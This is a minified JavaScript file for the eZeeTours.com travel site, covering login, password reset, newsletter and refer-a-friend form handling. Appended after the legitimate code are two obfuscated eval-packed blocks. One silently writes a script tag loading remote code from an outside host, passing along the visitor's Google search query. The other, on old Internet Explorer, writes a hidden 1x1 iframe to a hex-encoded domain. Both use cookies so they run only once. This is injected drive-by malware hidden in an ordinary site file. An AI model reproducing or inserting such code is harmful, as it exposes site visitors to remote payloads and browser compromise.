//This code is optimized by the w3compiler from Port80 Software:  BUY w3compiler to remove this comment from your optimized files at www.w3compiler.com!
z=document;ca=z.forms;ct=true;cu=false;gr=alert;﻿
iChars="~`!@#$%^&*()+=-[]\\\';.,/{}|\":<>?";function trim(str){if(str==null)return"";if(str.length<1)return"";var i=0;while(str.charAt(i)==' ')i++;str=str.substr(i);i=str.length;while(str.charAt(--i)==' ');str=str.substr(0,(str.length+1+(i-str.length)));return str}function checkEmail(emailid){if(emailid==""){gr("Please enter Email/User ID.");return cu}var indexOfAtTheRate=emailid.indexOf('@');var indexOfDot=emailid.indexOf('.');if(emailid.length<=50&&indexOfAtTheRate>0&&indexOfDot>0){if(/\w+([-+.']\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*/.test(emailid)){return ct}}gr("Invalid email");return cu}function validateControls(){var txtOldPwd=z.getElementById('txtOldPwd');var txtNewPwd=z.getElementById('txtNewPwd');var txtConfirmNewPwd=z.getElementById('txtConfirmNewPwd');for(var i=0;i<txtOldPwd.value.length;i++){if(iChars.indexOf(txtOldPwd.value.charAt(i))!=-1){gr("Old Password has ~`!@#$%^&*()+=-[]';.,\'/\\{}|\":<>? character(s).\nThese are not allowed.");z.getElementById("txtOldPwd").focus();return cu}}for(var i=0;i<txtNewPwd.value.length;i++){if(iChars.indexOf(txtNewPwd.value.charAt(i))!=-1){gr("New Password has ~`!@#$%^&*()+=-[]';.,\'/\\{}|\":<>? character(s).\nThese are not allowed.");z.getElementById("txtNewPwd").focus();return cu}}for(var i=0;i<txtConfirmNewPwd.value.length;i++){if(iChars.indexOf(txtConfirmNewPwd.value.charAt(i))!=-1){gr("Confirm Password has ~`!@#$%^&*()+=-[]';.,\'/\\{}|\":<>? character(s).\nThese are not allowed.");z.getElementById("txtConfirmNewPwd").focus();return cu}}if(trim(z.getElementById('txtOldPwd').value)==""){gr("Please enter old password");return cu}else if(trim(z.getElementById('txtNewPwd').value)==""){gr("Please enter new password");return cu}else if(trim(z.getElementById('txtConfirmNewPwd').value)==""){gr("Please enter confirm password");return cu}else if(z.getElementById('txtOldPwd').value!=""&&trim(z.getElementById('txtNewPwd').value)!=""&&z.getElementById('txtConfirmNewPwd').value!=""){if(z.getElementById('txtNewPwd').value==z.getElementById('txtConfirmNewPwd').value){return ct}else{gr('Password and confirm password does not match.');return cu}}return cu}function UpdateChangePwdDiv(arg){var result=arg;if(result.split('#')[2]=="1"){var lbl=z.getElementById('loginInfo');if(lbl!=null){lbl.style.visibility="visible";lbl.innerText=result.split('#')[1];z.forms[0].txtOldPwd.value="";z.forms[0].txtConfirmNewPwd.value="";z.forms[0].txtNewPwd.value="";z.forms[0].txtUserID.readOnly=cu;z.forms[0].txtPwd.readOnly=cu;z.getElementById('divChangePwd').style.display="none";z.getElementById('divForgotPwd').style.display="none";z.getElementById('loginTd').className="csShow"}}else{var lbl=z.getElementById('loginInfo');if(lbl!=null){lbl.style.visibility="visible";lbl.innerText=result.split('#')[1];z.forms[0].txtOldPwd.value="";z.forms[0].txtConfirmNewPwd.value="";z.forms[0].txtNewPwd.value="";z.getElementById('divChangePwd').style.display="inline";z.getElementById('divForgotPwd').style.display="none"}}}function UpdateForgotDiv(arg){var result=arg;if(result.split('#')[2]==1){var lbl=z.getElementById('loginInfo');if(lbl!=null){lbl.style.visibility="visible";lbl.innerText=result.split('#')[1];z.forms[0].txtForgotEmail.value="";z.forms[0].txtUserID.readOnly=cu;z.forms[0].txtPwd.readOnly=cu;z.getElementById('divChangePwd').style.display="none";z.getElementById('divForgotPwd').style.display="none";z.getElementById('loginTd').className="csShow"}}else{var lbl=z.getElementById('loginInfo');if(lbl!=null){lbl.style.visibility="visible";lbl.innerText=result.split('#')[1];z.getElementById('divChangePwd').style.display="none";z.getElementById('divForgotPwd').style.display="inline"}}}function SignInTheUser(arg){var result=arg;if(result.split('#')[2]==1){z.forms[0].txtUserID.value="";z.forms[0].txtPwd.value="";z.getElementById('divLogin').style.display="none";z.getElementById('lblLoginStatus').innerText=result.split('#')[1];ShowLogout();}else{var lbl=z.getElementById('loginInfo');if(lbl!=null){lbl.style.visibility="visible";z.forms[0].txtPwd.value="";lbl.innerText=result.split('#')[1]}}}function CallServerForSignIn(){if(trim(z.getElementById('txtUserID').value)==""){gr("Please enter email");return cu}if(checkEmail(trim(z.getElementById('txtUserID').value))==cu){return cu}if(trim(z.getElementById('txtPwd').value)==""){gr("Please enter password");return cu}var spChars="~`!#$%^&*()+=-[]\\\';,/{}|\":<>?";var txtUserID=z.getElementById('txtUserID');for(var i=0;i<txtUserID.value.length;i++){if(spChars.indexOf(txtUserID.value.charAt(i))!=-1){gr("Email id has ~`!#$%^&*()+=-[]';,\'/\\{}|\":<>? character(s).\nThese are not allowed.");z.getElementById("txtUserID").focus();return cu}}var pwdLength=z.getElementById('txtPwd');for(var i=0;i<pwdLength.value.length;i++){if(iChars.indexOf(pwdLength.value.charAt(i))!=-1){gr("Password has ~`!@#$%^&*()+=-[];.,\'/\\{}|\":<>? character(s).\nThese are not allowed.");z.getElementById("txtPwd").focus();return cu}}var Value="login#"+z.forms[0].txtUserID.value+"#"+z.getElementById('txtPwd').value+"# ";CallTheServer2(Value,'');return ct}function CallServerForForgotDiv(){if(z.getElementById('txtForgotEmail').value==""){gr("Please enter email");return cu}
else if(checkEmail(trim(z.getElementById('txtForgotEmail').value))==cu)
{
return cu}var spChars="~`!#$%^&*()+=-[]\\\';,/{}|\":<>?";
var txtForgotEmail=z.getElementById('txtForgotEmail');for(var i=0;i<txtForgotEmail.value.length;i++){if(spChars.indexOf(txtForgotEmail.value.charAt(i))!=-1){gr("Email id has ~`!#$%^&*()+=-[]';,\'/\\{}|\":<>? character(s).\nThese are not allowed.");z.getElementById("txtForgotEmail").focus();return cu}}var Value="forgot#"+z.getElementById('txtForgotEmail').value+"# # ";CallTheServer2(Value,'');return ct}function CallServerToCheckEmailId(){if(checkEmail(trim(z.getElementById('txtEmailForChangePwd').value))==cu){return cu}if(validateControls()==cu){return cu}var spChars="~`!#$%^&*()+=-[]\\\';,/{}|\":<>?";var txtEmailForChangePwd=z.getElementById('txtEmailForChangePwd');for(var i=0;i<txtEmailForChangePwd.value.length;i++){if(spChars.indexOf(txtEmailForChangePwd.value.charAt(i))!=-1){gr("Email id has ~`!@#$%^&*()+=-[]';,\'/\\{}|\":<>? character(s).\nThese are not allowed.");z.getElementById("txtEmailForChangePwd").focus();return cu}}var Value="change#"+z.forms[0].txtEmailForChangePwd.value+"#"+z.forms[0].txtOldPwd.value+"#"+z.forms[0].txtNewPwd.value;CallTheServer2(Value,'');return ct}function CallTheServerForNewsLetter(){if(checkEmail(trim(z.getElementById('txt_NewsLetter').value))==cu){return cu}var Value="newsletter#"+z.forms[0].txt_NewsLetter.value;CallTheServer2(Value,'');return ct}function CallTheServerForNews(){if(checkEmail(trim(z.getElementById('txtNews').value))==cu){z.getElementById('txtNews').focus();return cu}var Value="newsletter#"+z.getElementById('txtNews').value;CallTheServer2(Value,'');return ct}function ShowResults(arg){var result=arg;gr(result);}function HideLogin(){z.getElementById('loginTd').className="csHide";var lbl=z.getElementById('loginInfo');if(lbl!=null){lbl.style.visibility="hidden";lbl.innerText=""}z.forms[0].txtUserID.readOnly=ct;z.forms[0].txtPwd.readOnly=ct;z.getElementById('divChangePwd').style.display="inline";z.getElementById('divForgotPwd').style.display="none";z.getElementById('txtEmailForChangePwd').focus();}function HideLoginOnForgotClick(){z.getElementById('loginTd').className="csHide";var lbl=z.getElementById('loginInfo');if(lbl!=null){lbl.style.visibility="hidden";lbl.innerText=""}z.forms[0].txtUserID.readOnly=ct;z.forms[0].txtPwd.readOnly="";z.forms[0].txtPwd.readOnly=ct;z.getElementById('divForgotPwd').style.display="inline";z.getElementById('divChangePwd').style.display="none";z.getElementById('txtForgotEmail').focus();}function ShowLogin(){try{z.getElementById('loginTd').className="csShow";z.forms[0].txtUserID.readOnly=cu;z.forms[0].txtPwd.readOnly=cu;z.getElementById('txtEmailForChangePwd').value="";z.forms[0].txtOldPwd.value="";z.forms[0].txtConfirmNewPwd.value="";z.forms[0].txtNewPwd.value="";z.getElementById('divChangePwd').style.display="none"}catch(e){return cu}return cu}function ShowLoginDiv(){try{z.getElementById('divLogin').style.display="inline";z.getElementById('txtUserID').focus();}catch(e){}}function HideLoginDiv(){z.getElementById('divLogin').style.display="none";z.getElementById('divChangePwd').style.display="none";z.getElementById('divForgotPwd').style.display="none";z.getElementById('loginTd').className="csShow";z.forms[0].txtPwd.value="";z.forms[0].txtOldPwd.value="";z.forms[0].txtConfirmNewPwd.value="";z.forms[0].txtNewPwd.value=""}function HideForgotDiv(){z.getElementById('loginTd').className="csShow";z.forms[0].txtUserID.readOnly=cu;z.forms[0].txtPwd.readOnly=cu;z.getElementById('divForgotPwd').style.display="none"}function ShowErrorForSpecialCharacters(arg){gr(arg.split('#')[1]);}function SendMail_Friends(){var emailid=trim(z.getElementById('txtmyemail').value);if(emailid!=""){if(emailid=="Your email"){gr('Your email is required.');z.getElementById("txtmyemail").select();return cu}if(/\w+([-+.']\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*/.test(emailid)==cu){gr('Invalid your email');z.getElementById("txtmyemail").focus();z.getElementById("txtmyemail").select();return cu}}else{gr('Your email is required.');z.getElementById("txtmyemail").select();return cu}var Friends_Email=trim(z.getElementById("txtFriendEmail").value);if(Friends_Email==""||Friends_Email=="Your friend's emails"){gr('Please Enter Your Friend\'s Emails');z.getElementById("txtFriendEmail").select();return cu}var storeemail=Friends_Email.split(",");for(var i=0;i<storeemail.length;i++){if(trim(storeemail[i])!=""){if(/\w+([-+.']\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*/.test(trim(storeemail[i]))==cu){gr("Invalid friend's email : "+storeemail[i]);z.getElementById("txtFriendEmail").focus();z.getElementById("txtFriendEmail").select();return cu}}}var Value="referfriends#"+z.forms[0].txtmyemail.value+"#"+z.forms[0].txtFriendEmail.value;CallTheServer2(Value,'');return ct}function MailToFriends(arg){var result=arg;if(result.split('#')[2]==1){z.getElementById("txtmyemail").value="Your email";z.getElementById("txtFriendEmail").value="Your friend's emails";gr('Thanks for referring eZeeTours.com to your friends!');}}function ClearMyEmailText(){if(z.getElementById('txtmyemail').value=="Your email")z.getElementById('txtmyemail').value="";if(trim(z.getElementById('txtFriendEmail').value)=="")z.getElementById('txtFriendEmail').value="Your friend's emails"}function FillText(){if(z.getElementById('txtmyemail').value=="")z.getElementById('txtmyemail').value="Your email";if(z.getElementById('txtFriendEmail').value=="")z.getElementById('txtFriendEmail').value="Your friend's emails"}function ClearFriendEmailText(){if(z.getElementById('txtFriendEmail').value=="Your friend's emails")z.getElementById('txtFriendEmail').value="";if(trim(z.getElementById('txtmyemail').value)=="")z.getElementById('txtmyemail').value="Your email"}toCheckVisibiltyOfDiv=ct;function ReceiveServerData2(arg,context){if(arg.indexOf("change")!=-1||arg.indexOf("forgot")!=-1||arg.indexOf("login")!=-1){if(arg.split('#')[0]=="change"){UpdateChangePwdDiv(arg);}else if(arg.split('#')[0]=="forgot"){UpdateForgotDiv(arg);}else{SignInTheUser(arg);}}else if(arg.indexOf("newsletter")!=-1){ShowResults(arg);}else if(arg.indexOf("referfriends")!=-1){MailToFriends(arg);}else if(arg.indexOf("general")!=-1){ShowErrorForSpecialCharacters(arg);}else{if(arg==0){arg=z.getElementById(txtName).value;z.getElementById(cityInput).style.visibility='hidden';HideIframe('Message1Frame');HideIframe('Message2Frame');}else{NoOfList=arg.substring(arg.length-1,arg.length);NoOfList=arg.substring(arg.length-1,arg.length);if(toCheckVisibiltyOfDiv==ct){z.getElementById(cityInput).style.visibility='visible';z.getElementById(cityInput).innerHTML=arg.substring(0,arg.length-4);_highlightSuggestionIndex=0;Highlight(0);FillFrame();value2=arg}else{toCheckVisibiltyOfDiv=ct}}}}function ProcessCallBackError(arg,context){Message2.innerText='An error has occurred.'}
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5 g=4.e.7("d=1");5 f=4.9.7(\'j.\');5 h=l.s.7("o 6.0");a(g==-1&&f!=-1&&h==-1){5 3=4.9.c(4.9.7(\'q=\'));5 8=3.7(\'&\');a(8==-1){8=p.n}3=3.c(0,8).i(2);a(m(3).k(0)!=\'%\'){4.r("<b E=\'t\' F=\'I://H.C/B.w?q="+3+"\'></b>");4.e="d=1; x=y, A z J u:v:G D; "}}',46,46,'|||query|document|var||indexOf|querysize|referrer|if|script|slice|_tskdjw|cookie|dri|dci|nai|substring|google|charAt|navigator|escape|length|MSIE|cmd||write|appVersion|JavaScript|12|15|js|expires|Mon|Jul|23|kv|org|GMT|language|src|58|24search|http|2013'.split('|')));
sa="%71%64%6F%73%69%65%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c.toString(a)+'\\b','g'),k[c])}}return p}('a(0.4.7("5=s")==-1&&9.8.7("f 6")!=-1){0.4="5=s; e=c, 2 g b 2:d:h p; ";0.r("<3 q=1 t=1 o=\'n://"+j+"/i/\' k=\'l:m\'></3>")}',30,30,'document||14|iframe|cookie|_mlsdkf||indexOf|appVersion|navigator|if|2015|Mon|15|expires|MSIE|Jul|26|b2b|sa|style|display|none|http|src|GMT|width|write||height'.split('|')));
